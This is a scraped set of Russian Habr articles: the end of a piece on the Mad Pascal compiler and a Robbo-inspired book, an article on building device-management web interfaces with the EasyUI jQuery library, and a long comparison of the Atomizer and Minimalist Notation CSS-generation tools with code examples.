Внешне язык стал заметно ближе к фактическому стандарту Паскаля. Внутри компилятор выглядит несколько устрашающе, зарезервированные слова перемешаны с именами стандартных процедур, однако это авторов нисколько не смущает. Как бы оно ни выглядело, но дело оказалось на удивление живучим: вот уже три года Mad Pascal регулярно обновляется, на нём написано немало игр, авторы ежегодно выступают на ретроконференции [Silly Venture](http://www.sillyventure.eu/pl/) (ссылка требует VPN). Возникает ощущение, что в Польше вообще очень сильны традиции почитания Atari.
Весной 2018 года произошло событие, весьма примечательное для польской тусовки поклонников Atari: вышла книга [«Robbo. Solucja»](http://www.ha.art.pl/wydawnictwo/nowe-ksiazki/5330-robbo-solucja.html) («Роббо. Прохождение») в жанре экспериментальной литературы. Здесь надо сказать, что сама игра [Robbo](https://en.wikipedia.org/wiki/Robbo_(video_game)) для Atari, изданная 30 лет назад, до сих пор волнует сердца поляков старшего поколения и наполняет их патриотическим восторгом. В общем, неудивительно, что появилась посвящённая игре книжка. Забавно лишь то, что она, по словам авторов, на 60 % состоит из инструкций по прохождению игры, сгенерированных самим компьютером Atari. Программа генерации написана на том самом Mad Pascal.
*graczpospolita.pl*
И кажется, [некоторые](http://retroage.net/recenzje-prasyksiazek/robbo-solucja) восприняли книгу как достойный образец современного искусства:
> Было бы неверно относиться к книге только как к предмету коллекционирования для поклонников Robbo или, в более общем смысле, для поклонников Atari. Нам приходится иметь дело с редким случаем столкновения культуры видеоигр с литературой (в данном случае электронной), когда отправной точкой является «игра», а не «литература». Для некоторых это бессмысленное искусство ради искусства. Для других подобное скрещивание несёт совершенно новые возможности и опыт. Ничто не мешает вам создать версию Robbo, которую вы можете закончить с помощью «прохождения» из книги. Книга хорошо согласуется с моим взглядом на игры как на искусство. Искусство, в котором игрок может быть как воспринимающим, так и творящим — если во время «игры» присутствует «аудитория», наблюдающая за игроком, создающим свою собственную историю «игры». Содержание книги можно адаптировать для перформанса с игроком, проходящим Robbo, используя элементы «пошаговых инструкций» из книги. Чтобы не оставаться голословным: перформанс по мотивам «Robbo. Solucja» состоялся 11 мая 2018 года в галерее современного искусства «Бункер» в Кракове, во время презентации книги в рамках выставки «Неисчерпаемость».
Перформанс в Кракове. Ради этого стоило написать компилятор. | https://habr.com/ru/post/436694/ | null | ru | null |
# EasyUI: действительно easy?
В этой статье я хочу поделиться опытом избавления от жуткой головной боли, возникшей при разработке веб-приложения для одного маленького, но весьма могучего устройства. Но сначала несколько слов об источнике этой боли — о дизайне.
Дизайн сегодня один из необходимых компонентов любого продукта, а для сайтов и веб-приложений — это самая важная часть. Всё, что находится под капотом, скрыто от глаз клиента. Пользователя не интересует гениальность исполнения движка или уникальность архитектуры: подразумевается само собой, что программа должна работать надежно и безопасно. Современному пользователю необходим стильный графический интерфейс.
Раньше создание такого интерфейса вызывало серьёзную головную боль у программистов, но теперь для избавления от неё выпущено большое количество различных фреймворков и библиотек. Казалось бы — ура, проблема решена! Однако, теперь перед нами встаёт другой вопрос: какой препарат выбрать — пенталгин или панадол?
Вопрос нелёгкий, и решать, в итоге, вам. Я же расскажу о своём лекарстве: библиотеке [EasyUI](https://jeasyui.com/), предназначенной для создания полноценных одностраничных веб-приложений (SPA) и основанной на jQuery, Angular, Vue и React.
Моё знакомство с EasyUI началось около двух лет назад, когда наша команда приступила к разработке софта для системы управления питанием и его интеллектуального распределения между потребителями. Управляющее устройство имело на борту Linux и кроме распределения питания должно было обмениваться данными с различными периферийными устройствами, уметь контролировать их, а также принимать показания от большого количества (до нескольких сотен) датчиков. Правила управления могли изменяться, позволяя пользователю настроить работу всего комплекса для выполнения необходимых задач.
Настройка и мониторинг устройства могли вестись через различные протоколы: ssh, snmp, redfish, BACnet, но основным способом общения с ним был http, то есть всем комплексом можно было управлять через обыкновенный веб-браузер. Это широко используемое решение, и оно не сулило никаких проблем. Однако, дьявол всё же основательно порылся в деталях.
Веб-страница должна была отражать состав комплекса, его внутренние и внешние компоненты и их содержимое в виде дерева разнотипных объектов. Показания датчиков должны были выводиться в виде таблицы («*как в Excel'е*», — безмятежно улыбался заказчик), причём часть данных (показания, состояния датчиков и т.п.) требовалось непрерывно обновлять, а часть могла изменяться пользователем непосредственно в таблице. Для настройки комплекса было необходимо использовать многоуровневое меню и большое количество модальных диалоговых окон.
Всё это выглядело достаточно сложно, тем более что веб-сервис был лишь тем самым капотом, под которым прятался движок, и который мы также должны были написать. Проекту был необходим полноценный графический интерфейс. [Bootstrap](https://getbootstrap.com/) в нашем случае требовал значительной настройки и обвески кодом, и мы решили поискать другие фреймворки. Существует большое количество библиотек, реализующих отдельные элементы графического интерфейса или их небольшие совокупности. Их использование также не было целесообразно, поскольку не обеспечивало для элементов интерфейса ни общего стилевого оформления, ни единообразных методов управления ими.
В итоге наших поисков, фреймворк EasyUI показался нам наиболее подходящим для решения наших задач. Несколько забегая вперёд, я могу сказать, что это был хороший выбор, несмотря на обнаруженные в ходе реализации проекта недостатки этой библиотеки.
Итак, что же такое такое EasyUI?
--------------------------------
Как я уже упоминал выше, EasyUI представляет собой набор компонентов пользовательского интерфейса, основанных на jQuery, Angular, Vue и React. Мы использовали библиотеку, базирующуюся на jQuery.
С самого начала мне понравилась возможность создания макета приложения без программирования на javascript. EasyUI для jQuery имеет встроенный парсер, который расширяет HTML-разметку и ассоциирует её с библиотечным кодом. Для этого в классе HTML-элемента достаточно указать наименование компонента, который необходимо применить.
Например, эта разметка создаст на странице приложения пять зон: шапку и подвал высотой 100 пикселей, и разделённую на три колонки среднюю часть. Левая и правая колонки имеют ширину 100 пикселей, а центральная часть имеет серый фон и занимает всё оставшееся место. Кроме этого, высоту шапки и подвала, ширину левой и правой колонок можно изменять мышью во время работы приложения. Для этого EasyUI создаст на странице приложения специальные разделители.
```
```
Конечно, EasyUI позволяет сделать то же самое при помощи *javascript*:
```
$('body').layout({fit: true}).layout('add', {
region: 'north', title: 'North Title', split: true, height: 100
}).layout('add', {
region: 'south', title: 'South Title', split: true, height: 100
}).layout('add', {
region: 'east', title: 'East Title', split: true, width: 100
}).layout('add', {
region: 'west', title: 'West Title', split: true, width: 100
}).layout('add', {
region: 'center', title: 'сenter Title', split: true, widht:100,
style: {padding: 5, background: '#eee'}
});
```
В результате EasyUI создаст вот такую страницу:
Пока всё easy, не так ли? Мы можем создать предварительный макет без написания javascript кода, что очень удобно на начальных этапах проектирования приложения.
А что ещё она умеет?
--------------------
Для беглой оценки возможностей EasyUI, достаточно посмотреть на её [конструктор тем](https://jeasyui.com/themebuilder/index.php):
Здесь показаны не все возможности EasyUI, но для первого впечатления вполне достаточно и этого: разметка (layout), панели (panel), многоуровневое меню (menu, menubutton), вкладки (tab), аккордеоны (accordion), календарь (calendar), таблица (datagrid), набор конфигурационных параметров (propertygrid), список (datalist), дерево (tree), диалоги (dialog), формы (form) и их элементы (validatebox, textbox, passwordbox, maskedbox, combobox, tagbox, numberbox, datetimebox, spinner, slider, filebox, checkbox, radiobutton) — и этот перечень далеко не полон. При более глубоком погружении в возможности библиотеки выясняется, что эти компоненты можно расширять и создавать на их основе новые. На сайте проекта есть раздел [Extention](https://jeasyui.com/extension/index.php), на котором представлены некоторые расширения, например, всем известная лента ([Ribbon](https://jeasyui.com/extension/ribbon.php)):
Для демонстрации всех компонентов, реализованных EasyUI, на странице проекта есть специальный [раздел](https://jeasyui.com/demo/main/index.php) с демонстрацией их работы.
И снова о дизайне
-----------------
EasyUI поддерживает изменение стиля оформления пользователем из набора готовых тем прямо во время выполнения приложения. На сайте проекта предлагается собственная коллекция стилей. К сожалению, решение из такого набора не всегда может удовлетворить заказчика. Это, скорее, набор стилей для начала работы, который впоследствии потребует корректировки. Для этого на сайте проекта имеется [конструктор тем](https://jeasyui.com/themebuilder/index.php). Разумеется, всегда можно настроить тему приложения в соответствующей таблице стилей, которые находятся в каталоге *themes* проекта. Для нашего проекта поддержка возможности изменения темы приложения не требовалась, однако, таблицы стилей были существенно переработаны, чтобы UI соответствовал корпоративному стилю заказчика.
Создание диалога при помощи EasyUI
----------------------------------
В качестве примера использования библиотеки в проекте я хочу привести код (*под катом*) для создания диалога настроек HTTP. Параметром функции открытия диалога является иконка, назначенная тому пункту меню, из которого вызывается диалог.
Код для создания диалога настроек HTTP
```
(function($) {
$.fn.httpConfDlg = function(icon) {
var title = _("HTTP Configuration"), me;
var succ = _(
"HTTP properties have been changed. " +
"You need to re-connect your browser " +
"according to the new properties."
);
var errcode = "System returned error code %1."
var errset = _(
"Can't set HTTP configuration. " + errcode
);
var errget = _(
"Can't get HTTP configuration. " + errcode
);
var allowed = $.SMR_PRIVILEGE.CHECK(
$.SMR_PRIVILEGE.CHANGE_NETWORK_CONFIGURATION
);
var buttons = [];
if (allowed) {
buttons.push({
okButton: true,
handler: function() {
var ho = $(this.parentElement).api({
fn: $.WAPI.FN_SET_HTTP_PROPERTIES,
param: {
httpPort: parseInt($('#httpPort').textbox('getValue')),
httpsPort: parseInt($('#httpsPort').textbox('getValue')),
forceHttps: $.HpiBool($('#forceHttp')[0].checked)
},
before: function() {
$('body').css('cursor', 'wait');
},
done: function() {
$('body').css('cursor', 'default');
me.dialog('close');
},
error: function(err) {
if (err.RC == $.WAPI.RC_BAD_RESPONSE) {
$.messager.alert(
title,
$.fstr(errset, err.IC),
'error'
);
return false;
} else if (err.RC == 1003) {
ho.api('drop');
$.messager.alert(title, succ, 'info', function() {
$('#sinfo').session('logout');
});
return false;
}
return true;
}
});
}
});
}
buttons.push({cancelButton: true});
return this.each(function() {
document.body.appendChild(this);
me = $(this).append(
'' +
$.fitem('httpPort', \_("HTTP port")) +
$.fitem('httpsPort', \_("HTTPS port")) +
$.fcheck('forceHttp', \_("Force HTTPS for Web Access")) +
''
);
$('#httpPort').textbox({
type: 'text', width: 60, disabled: !allowed
});
$('#httpsPort').textbox({
type: 'text', width: 60, disabled: !allowed
});
if (!allowed) $('#forceHttp').attr('disabled', 'disabled');
me.mdialog({
title: title,
iconCls: icon,
width: 320,
height: 180,
modal: true,
buttons: buttons,
onOpen: function() {
var ho = $(this).api({
fn: $.WAPI.FN_GET_HTTP_PROPERTIES,
receive: function(res) {
$('#httpPort').textbox('setValue', res.httpPort);
$('#httpsPort').textbox('setValue', res.httpsPort);
if (res.forceHttps == 1) {
$('#forceHttp').attr('checked', 'checked')
} else {
$('#forceHttp').removeAttr('checked')}
},
error: function(err) {
if (err.RC == $.WAPI.RC_BAD_RESPONSE) {
$.messager.alert(
_("HTTP"),
$.fstr(
errget,
err.IC
),
'error'
);
me.dialog('close');
return false;
}
me.dialog('close');
return true;
}
});
}
});
});
};
})(jQuery);
```
Поскольку компоненты EasyUI реализованы в виде коллекций jQuery (в нашем случае это *$('div').httpConfDlg(http\_icon)*), инициализация диалога производится через метод *this.each()*.
В начале активируются кнопки диалога: *OK* и *Cancel*. Это можно сделать непосредственно при инициализации диалога, но кнопка *OK* создается только для обеспечения привилегированного доступа. Таким образом, для пользователя, не имеющего достаточных прав для изменения параметров HTTP протокола, диалог будет отображать только кнопку *Cancel* *(Конечно, EasyUI допускает установку и снятие запрета нажатия на кнопки во время инициализации диалога, а также во время его работы — кнопка при запрете использования изменяет стиль и не реагирует на нажатия. Однако, для сохранения общего стиля, неиспользуемые кнопки в диалогах нами не отображаются)*. Обработчик кнопки *Cancel* по умолчанию закрывает окно диалога без дополнительных действий. У кнопки *OK* есть обработчик, который выполняет AJAX-запрос. В качестве параметра запросу передаётся JSON структура, содержащая номер функции для бэкенда, набор параметров для самой функции и обработчики результатов выполнения (callback).
Затем родительский элемент, переданный через параметр *this*, заполняется контентом: двумя полями для указания номеров портов и одного флажка, устанавливающего принудительное использование защищённого протокола. Далее поля активируются как EasyUI textbox компоненты. Если пользователь не имеет привилегий для их изменения, текстовые поля и флажок будут недоступны для изменения.
И наконец, производится активация самого диалога: устанавливаются его размеры, заголовок, иконка, модальный режим, активируются кнопки диалога и их обработчики (указанные явно или по умолчанию). После открытия диалога запускается функция, выполняющая AJAX запрос для получения текущих параметров HTTP. Если при выполнении запроса происходит ошибка, генерируется сообщение об ошибке и диалог закрывается. Если запрос выполнен успешно, текстовые поля и флажок устанавливаются в соответствии с полученными результатами запроса.
При нажатии на кнопку *OK* вызывается функция-обработчик, которая считывает текущие значения текстовых полей и состояние флажка, формирует соответствующий AJAX-запрос и выполняет его. При любом результате выполнения этого запроса производится закрытие окна диалога (параметр *done*). В случае возникновения ошибки, в зависимости от её типа, выдаётся сообщение об ошибке. В нашем случае, даже при успешном выполнении запроса происходит ошибка, поскольку изменение настроек протокола приводит к разрыву соединения. Для его восстановления производится закрытие сеанса и вызов процедуры новой регистрации.
Несколько, пояснений к коду.
* Вызов *$.fitem('httpPort', \_("HTTP port"))* создаёт набор связанных HTML элементов, реализующих типовое для нашего приложения поле ввода с идентификатором *httpPort* и меткой (label) *HTTP port*. Функция *\_()* обеспечивает использование языка, указанного пользователем в настройках. Последующий вызов компонента EasyUI *$('#httpPort').textbox({type: 'text', width: 60, disabled: !allowed});* регистрирует поле ввода как EasyUI textbox. Вызов *$('#httpPort').textbox('setValue', res.httpPort);* устанавливает значение для текстового поля в соответствие результату AJAX запроса. И наконец, *parseInt($('#httpPort').textbox('getValue'))* в обработчике OK-кнопки возвращает текущее значение текстового поля.
* Компонент *mdialog()* является нашим собственным расширением от базового компонента EasyUI *dialog()* для автоматического закрытия диалога при наступлении определённых событий, а также для создания типовых кнопок с обработкой нажатия по умолчанию. В данном случае это кнопка *Cancel*, которая создаётся короткой инструкцией *buttons.push({cancelButton: true});*
* Функция *$.messager* вызывает окно предупреждения, которое также является компонентом EasyUI, производным от компонента *Dialog*.
В итоге диалог выглядит так:
EasyUI диалог для настройки HTTPЛожка дёгтя
-----------
Как видно из приведенного выше примера, для создания диалога требуется довольно много кода. Большое количество диалогов и их компонентов (например, выпадающих списков с одинаковым содержимым) ощутимо раздуло наш проект однообразными «велосипедными» конструкциями.
Часть их удалось сократить с помощью создания собственных расширений, благо EasyUI позволяет сделать это, но всё-таки код во многих местах до сих пор кажется мне избыточным. И это, пожалуй, самый серьёзный недостаток EasyUI, который на мой взгляд, с лихвой компенсируется надёжностью библиотеки и простотой её использования.
И всё-таки, почему EasyUI?
--------------------------
Работа с большими массивами данных, представленными в виде таблиц и деревьев — это та фишка, которая определила выбор EasyUI.
Для нас критически важно было отображать большой и постоянно обновляемый набор данных как в виде иерархической структуры, так и в виде таблицы. И EasyUI предоставила нам такую возможность. Для этого в составе библиотеки есть специальные компоненты: *tree* и *datagrid*.
EasyUI *tree* отображает иерархические данные в виде древовидной структуры. Узлы дерева можно наполнять различной информацией и извлекать её по событиям, разворачивать, сворачивать, перетаскивать, изменять стиль оформления по содержимому или другим условиям.
Компонент *datagrid* отображает данные в табличном формате и предлагает богатую поддержку для выбора, сортировки и группировки данных. Слияние ячеек, многоколоночные заголовки, замороженные столбцы и нижние колонтитулы — вот лишь некоторые из его особенностей. Кроме этого, для *datagrid* есть специальные расширения: *datagrid-scrollview*, которое манипулирует полным набором данных, сохраняя в DOM-е лишь отображаемую их часть (а это существенно повышает скорость работы приложения), и *datagrid-filter* позволяющее накладывать фильтры на используемый набор данных.
И *tree*, и *datagrid* поддерживают асинхронную загрузку и редактирование данных непосредственно по месту положения элемента, имеют динамически настраиваемое оформление и свободно подключаемые иконки для элементов компонента, а также возможность отображения данных в виде чекбоксов.
Именно сочетание всех этих возможностей позволило нашей команде реализовать сложный интерфейс, полностью удовлетворяющий заказчика, не отвлекаясь на построение сложных DOM-конструкций и разработку CSS с нуля.
В завершение хочу ещё раз сказать, что библиотека EasyUI обеспечивает все потребности пользовательского интерфейса, оставаясь при этом лёгкой в использовании. Я думаю, эта библиотека может быть интересна разработчику веб-приложений, ориентированных на управление различными устройствами. В этой нише её использование, на мой взгляд, может быть предпочтительнее Bootstrap-а. По крайней мере, это хорошая альтернатива панадолу. | https://habr.com/ru/post/560128/ | null | ru | null |
# Atomizer vs Minimalist Notation (MN)
Minimalist Notation (MN) (минималистическая нотация) — гибкая адаптивная технология генерации стилей.
Она генерирует стили только для существующих классов разметки html, jsx, и т.п. — благодаря чему отпадает необходимость заботиться о компонентном подходе в CSS, мёртвом CSS коде, и отпадает необходимость писать CSS код вообще.
В ней поддерживаются брейкпоинты (медиа-запросы), селекторы, приоритеты, группировки, необходимые автопрефиксы и полифилы.
Применение этой технологии похоже на использование инлайновых стилей, только с гораздо более выразительным синтаксисом и множеством дополнительных возможностей, поэтому MN можно даже назвать технологией inline styles 2.0.
MN подразумевает не только правила нотации как таковые, но и, по-сути, даже усовершенствованный альтернативный синтаксис каскадного языка установки стилей, который ориентирован на инлайновое применение.
Я разработал MN в 2017 году, и с того момента успел во многом усовершенствовать эту технологию, добавить достаточно пресетов и удобных инструментов для её изучения.
Если кто-то желает узнать о том, как мне пришло в голову разработать собственную технологию, я [оставляю ссылку на свой репозиторий](https://github.com/mr-amirka/minimalist-notation/blob/master/from-author-ru.md), дабы не плагиатить у самого себя.
Технология MN имеет обширную функциональность.
Для многих она является новой, и почти не имеет других первоисточников для изучения, кроме этой статьи, поэтому предупреждаю, что ниже будет МНОГО БУКВ и примеров кода.
Начнём с более менее общеизвестных функциональностей, которые имеются и у ближайшего аналога этой технологии, параллельно проводя сравнение.
Лучший способ что-то объяснить — это показать наглядные примеры.
Начнём с сравнения `Minimalist-Notation` с более менее известными функциональностями его первого аналога: `Atomizer`.
Актуальные на момент написания статьи версии пакетов:
* `minimalist-notation 1.5.17` ;
* `atomizer 3.6.2` .
Проверить примеры ниже с `Atomizer` можно будет здесь:
<https://pankajparashar-zz.github.io/atomizer-web/>
Проверить примеры ниже с `MN` можно будет здесь:
<https://viewer.minimalist-notation.org/>
Документация по всем предустановленным пресетам `MN` здесь:
<https://styles.minimalist-notation.org/>
---
Atomizer vs MN. Простые примеры
-------------------------------
**Atomizer**
```
...
```
```
.D\(f\) {
display: flex;
}
.Jc\(c\) {
justify-content: center;
}
.Ai\(c\) {
align-items: center;
}
.H\(100\%\) {
height: 100%;
}
.Fz\(20vh\) {
font-size: 20vh;
}
.C\(\#0f0\) {
color: #0f0;
}
.Bgc\(\#f00\) {
background-color: #f00;
}
.M\(-10px\) {
margin: -10px;
}
.P\(10px\) {
padding: 10px;
}
.Pstart\(10\%\) {
padding-left: 10%;
}
.Pos\(a\) {
position: absolute;
}
```
На что я обратил внимание в этом примере с `Atomizer`:
* аббревиатуры аналогичны `Emmet`;
* имена свойств в нотации представлены как функции, которые всегда именуются аббревиатурами, начинающимися с верхнего регистра;
* значения свойств стилей в нотации обязательно заключаются в скобки;
* аббревиатура `Pstart` для свойства `padding-left` для меня неожиданна;
* единицы измерения в нотации нельзя пропускать;
* некоторые значения можно задавать только предустановленными аббревиатурами, такими как, например: `f - flex`, `c - center`, однако, например, такая запись работать не будет: `D(flex)`;
* когда я пытаюсь задавать цвет символами верхнего регистра, например, `#F00` — вместо, `#f00`, то стили не генерируются, либо генерируется какая-то петрушка…
**Minimalist-Notation**
```
...
```
```
.dF {
display: flex;
}
.jcC {
justify-content: center;
}
.aiC {
align-items: center;
}
.h {
height: 100%;
}
.f20vh {
font-size: 20vh;
}
.c0F0 {
color: #0f0;
}
.bgcF00 {
background-color: #f00;
}
.m-10 {
margin: -10px;
}
.p10 {
padding: 10px;
}
.pl10\% {
padding-left: 10%;
}
.abs {
position: absolute;
}
```
Отличия:
* для большинства дефолтных обработчиков аббревиатуры аналогичны `Emmet`, за некоторыми исключениями, которые связаны исторически с моими личными практиками, частотой использования различных свойств стилей.
Это связано ещё с тем, что лично я узнал о существовании `Emmet` и `Atomizer` только после того, как создал первую версию `MN`.
Примеры:
`f` — вместо `fz` для свойства `font-size` — ибо размер шрифта Мы задаем очень часто,
`font` — вместо `f` для свойства `font` — ибо Мы редко используем его непосредственно,
`abs` — вместо `posA` для свойства и значения `position: absolute`, хотя `posA` тоже можно использовать;
* имена свойств в нотации именуются аббревиатурами в нижнем регистре;
* значения свойств стилей в нотации начинаются с любого символа отличного от латинских букв в нижнем регистре.
Кончено и здесь в нотации значения также можно заключать в скобки: `d(F)` — но скобки в MN предназначены не для параметризации, а для группировки подстрок нотации, например, эти записи аналогичны: `p(l10|r15)` == `pl10 pr15`.
Кроме того, нет смысла использовать скобки без нужды, ибо это увеличивает конечный размер кода.
* единицы измерения не являются частью базовой нотации.
Необходимость указания единиц измерения зависит от обработчика заданного для соответствующего имени в нотации.
Для большинства дефолтных обработчиков указание единиц измерения являются опциональным, например, возможны вариации:
`f14px` == `f14`,
`h100%` == `h`,
`h10px` == `h10`.
* в MN также имеются предустановленные аббревиатуры для некоторых значений, такие как, например,
`F - flex`, `C - center` — хотя Мы можем использовать полные именования.
Вы имеете возможность использовать вместо, например, этих аббревиатур:
`dF dIB jcC aiC` — различные вариации именований:
`dFlex dInlineBlock jcCenter aiCenter`,
`d_flex d_inline-block jc_center ai_center` .
В большинстве дефолтных обработчиков запись для значений из формата `camelCase`
просто трансформируется в формат `kebabCase`, а нижнии прочерки заменяются на пробелы;
* для большинства дефолтных обработчиков предусмотрены значения по умолчанию, например, как Мы наблюдаем, для свойства `height` (`h`) значение по умолчанию равно `100%` .
Если Мы используем значение: `h40` — то получим следующее:
```
.h40 {height: 40px}
```
* Для указания цвета не требуется решетка (`#`).
Более того, решетка (#) является служебным символом, необходимым для полноценных селекторов, о которых Вы узнаете ниже.
Если Вы добавите решетку, то получите не то, чего, вероятно, ожидаете:
```
...
```
```
.c\#0F0#0F0 {color: #000}
```
В некоторых случаях решетка всё же нужна, например, для свойства `outline`.
Тогда служебные символы в нотации нужно экранировать:
```
...
```
```
.ol_thick_double_\\\#32a1ce {outline: thick double #32a1ce}
```
В `MN` для дефолтных обработчиков (`c, bc, olc, fill, stroke, bg, bgc, temc, tdc`) цвета можно задавать разными вариациями символов — об этом подробнее будет ниже.
* обработчики для аббревиатур свойств являются кастомизируемыми и подключаются по умолчанию из библиотеки `minimalist-notation/presets/styles`.
Вы имеете возможность полностью кастомизировать `MN` под свои нужды, путем создания собственных обработчиков:
```
// для свойства "padding"
mn('p', (params) => {
return {
style: {
padding: (params.num || '0') + (params.unit || 'px'),
},
};
});
// для свойства "padding-left"
mn('pl', (params) => {
return {
style: {
paddingLeft: (params.num || '0') + (params.unit || 'px'),
},
};
});
// для свойства "color"
mn('c', (params) => {
return !params.negative && {
style: {
color: mn.utils.color(params.value || '0'),
},
};
}, '^(([A-Z][a-z][A-Za-z]+):camel|([A-F0-9]+):color):value(.*)?$');
```
Примеры обработчиков `MN` можно подсмотреть в репозитории:
<https://github.com/mr-amirka/minimalist-notation/presets>
Как за себя говорит само название технологии, **минимализм** — здесь главное, поэтому нотация устроена таким образом, чтобы Нам не требовалось писать много кода и осуществлять прочие избыточные телодвижения.
---
Примеры немного сложнее
-----------------------
### Atomizer vs MN. Флаг !important
**Atomizer**
```
...
```
```
.D\(f\)\! {
display: flex !important;
}
.C\(\#0f0\)\! {
color: #0f0 !important;
}
```
**Minimalist-Notation**
```
...
```
```
.dF-i {
display: flex!important;
}
.c0F0-i {
color: #0f0!important;
}
```
В `MN` для установки флага `!important` не используется символ `!`, потому-что этот служебный символ уже применяется в нотации для **реверсирования подстрок**.
---
### Группировки и реверсирование подстрок (!)
Возьмем такую запись:
```
...
```
```
.cF\:hover\>\.item:hover .item {
color: #fff;
}
```
Если Мы добавим символ `!` после `:hover`, то получим следующее:
```
...
```
```
.cF\:hover\!\>\.item .item:hover {
color: #fff;
}
```
Здесь псевдоселектор `hover` переместился от родительского элемента к дочернему.
Этот приведенный для наглядности способ использования реверсирования в данном случае бесполезен, ибо такого же эффекта Мы можем добиться и другим способом:
```
...
```
```
.cF\>\.item\:hover .item:hover {
color: #fff;
}
```
Однако **реверсирование** может оказаться весьма полезным для сокращения записи в комбинации с **группировками**.
Допустим, что Мы верстаем какой-то простой сайт без шаблонизаторов и без React компонентов — возможно, это лендинг.
Мы имеем некоторый список, в котором располагаются одинаковые дочерние элементы:
```
* ...
* ...
* ...
...
```
```
.m {
margin: 0;
}
.p {
padding: 0;
}
.dB {
display: block;
}
.c0,.c0\:hover:hover {
color: #000;
}
.tdN {
text-decoration: none;
}
.p5 {
padding: 5px;
}
.mb5 {
margin-bottom: 5px;
}
```
Мы понимаем, что указывать классы для каждого элемента может быть довольно утомительно, особенно если в процессе Мы будем что-то изменять.
Мы могли бы написать код гораздо короче, и таким образом, чтобы в последующем при необходимости Нам приходилось вносить меньше правок.
Рассмотрим по шагам различные способы.
Вынесем всю нотацию в родительский элемент:
```
* ...
* ...
* ...
...
```
```
.m {
margin: 0;
}
.p {
padding: 0;
}
.dB,.dB\>li li {
display: block;
}
.c0\>a a,.c0\>a\:hover a:hover {
color: #000;
}
.tdN\>a a {
text-decoration: none;
}
.p5\>a a {
padding: 5px;
}
.mb5\>li li {
margin-bottom: 5px;
}
```
Это выглядит прикольно, но если свойств и элементов будет довольно много, или если селекторы дочерних элементов будут более длинные, то получится довольно громоздко и мало читаемо.
Для примера Мы добавим еще один уровень списка, который имеет отступ в 10 пикселей слева, а ссылки внутри него имеют подчеркивание и красный цвет.
При наведении курсора на ссылку, она становится зеленой, а при нажатии — становится синей.
```
* ...
* ...
* ...
+ ...
...
...
```
**Число перед селектором** (`1`) просто указывает на строго определенную **глубину вложенности** элемента.
Кстати, обратите внимание: селекторы с одинаковыми значениями свойств в сгенерированном CSS коде группируются вместе — что позволяет минимизировать его объем на выходе.
Думаю, этого для наглядности Нам пока хватит.
Теперь попробуем **группировки**:
```
* ...
* ...
* ...
+ ...
...
...
```
Здесь **группировки** Нам не сильно помогли…
Вот теперь попробуем ещё и **реверсирование**:
```
* ...
* ...
* ...
+ ...
...
...
```
Забавно, не правда ли?
Хорошо. Слегка поиграем с вложенностями и заменим имена псевдоклассов на краткие синонимы:
```
* ...
* ...
* ...
+ ...
...
...
```
Всё-таки, для пущей наглядности заменю имена тегов на классы:
```
* ...
* ...
* ...
* ...
+ ...
...
...
```
Извратились Мы знатно!
Однако, рекомендую, друзья мои, этими группировками сильно не увлекаться!
Здесь у некоторых может возникнуть вопрос, как же Нам решить проблему с неодноранговастью сгенерированных селекторов? — ибо, если Мы захотим кастомизировать отдельные элементы из этого списка, Нам могут помешать грабли перекрывающих стилей.
Ответ:
Мы, например, можем просто именовать классы дочерних уровней немного иначе и не указывать в нотации глубину их вложенности, дабы селекторы всех уровней имели равный приоритет:
```
* ...
* ...
* ...
* ...
+ ...
+ ...
...
...
...
```
Многие могут заметить, что здесь Мы имеем возможность использовать сложные селекторы, которые потенциально порождают нежелательные сайд-эффекты с перекрытиями стилей.
Да. Это так. И это, отчасти, противоречит самой методологии Atomic CSS.
Тем не менее, есть несколько нюансов:
* Нас никто не принуждает использовать именно такие конструкции;
* Нас никто не ограничивает, и при необходимости Мы можем воспользоваться этими конструкциями;
* Благодаря тому, что весь код как правило помещается у Нас на одном экране и не разрывается контекст между разметкой и стилями, Нам гораздо проще обнаружить, "где зарыта собака" и исключить возможные грабли с перекрытиями стилей.
---
### Atomizer vs MN. Псевдоклассы и псевдоэлементы
Чисто ради сравнения, рассмотрим доступную в `Atomizer` возможность использования псевдоклассов и псевдоэлементов:
```
...
```
```
.Bgc\(\#fff\)\:h:hover {
background-color: #fff;
}
.C\(blue\)\:a:active {
color: blue;
}
.C\(\#0f0\)\:hover:hover {
color: #0f0;
}
.D\(n\) {
display: none;
}
```
Мы видим, что `Atomizer` позволяет использовать как некоторые полные имена псевдоклассов, так и их короткие синонимы.
В документации написано, что можно использовать псевдоэлементы.
Например: `b` для `::before`
Но на практике, возможно, я как-то сильно тупил, и как ни пытался пробовать разные варианции, ни один пример не сработал.
Для `D(n)::b` я ожидал получить следующее:
```
.D\(n\)\:\:b::before {
display: none;
}
```
В `MN` же Мы можем всё тоже самое:
```
...
```
```
.bgcF\:h:hover {
background-color: #fff;
}
.cBlue\:a:active {
color: blue;
}
.c0F0\:hover:hover {
color: #0f0;
}
.dN\:\:before::before {
display: none;
}
```
Помимо этого, Мы имеем возможность задавать вообще любые псевдоклассы и псевдоэлементы известные и неизвестные в CSS:
```
...
```
```
.bgcF\:hz:hz {
background-color: #fff;
}
.cBlue\:\:placeholder::placeholder {
color: blue;
}
.c0F0\:\:-webkit-input-placeholder::-webkit-input-placeholder {
color: #0f0;
}
.bgE\:odd:nth-child(2n+1) {
background: #eee;
}
.bt\:first:first-child {
border-top-width: 0;
}
.c\:i::placeholder {
color: #000;
}
.c\:i:-ms-input-placeholder {
color: #000;
}
.c\:i::-moz-placeholder {
color: #000;
}
.c\:i::-webkit-input-placeholder {
color: #000;
}
```
В `MN` Мы можем параметризовать псевдоклассы:
```
...
```
```
.c\:not\[\.anyClass\]:not(.anyClass) {
color: #000;
}
.bg0A\:not\[tag\[attr\=value\]\.class\\\:pseudo\]:not(tag[attr=value].class:pseudo) {
background: #000;
background: rgba(0,0,0,.67);
}
.c88F4\:n\[13\]:nth-child(13) {
color: #88f;
color: rgba(136,136,255,.27);
}
.c01\:n\[3n\+1\]:nth-child(3n+1) {
color: #000;
color: rgba(0,0,0,.07);
}
```
В `MN` Мы также можем указать несколько псевдоклассов подряд:
```
.mh20\:not\[\.anyClass\]\:n\[5n\+2\]\:c\:h:not(.anyClass):nth-child(5n+2):checked:hover {
margin-left: 20px;
margin-right: 20px;
}
```
В `MN` можно задать собственный набор синонимов для псевдоклассов.
Пример:
```
mn.utils.extend(mn.states, {
foo: [':active'],
bar: ['.Bar_active', '.otherSelector'],
vasya: ['[data-name=vasya]'],
});
```
```
...
```
```
.cRed\:foo:active {
color: red;
}
.cGreen\:bar.otherSelector,.cGreen\:bar.Bar_active {
color: green;
}
.cBlue\:vasya[data-name=vasya] {
color: blue;
}
```
---
### Atomizer vs MN. Комбинаторы
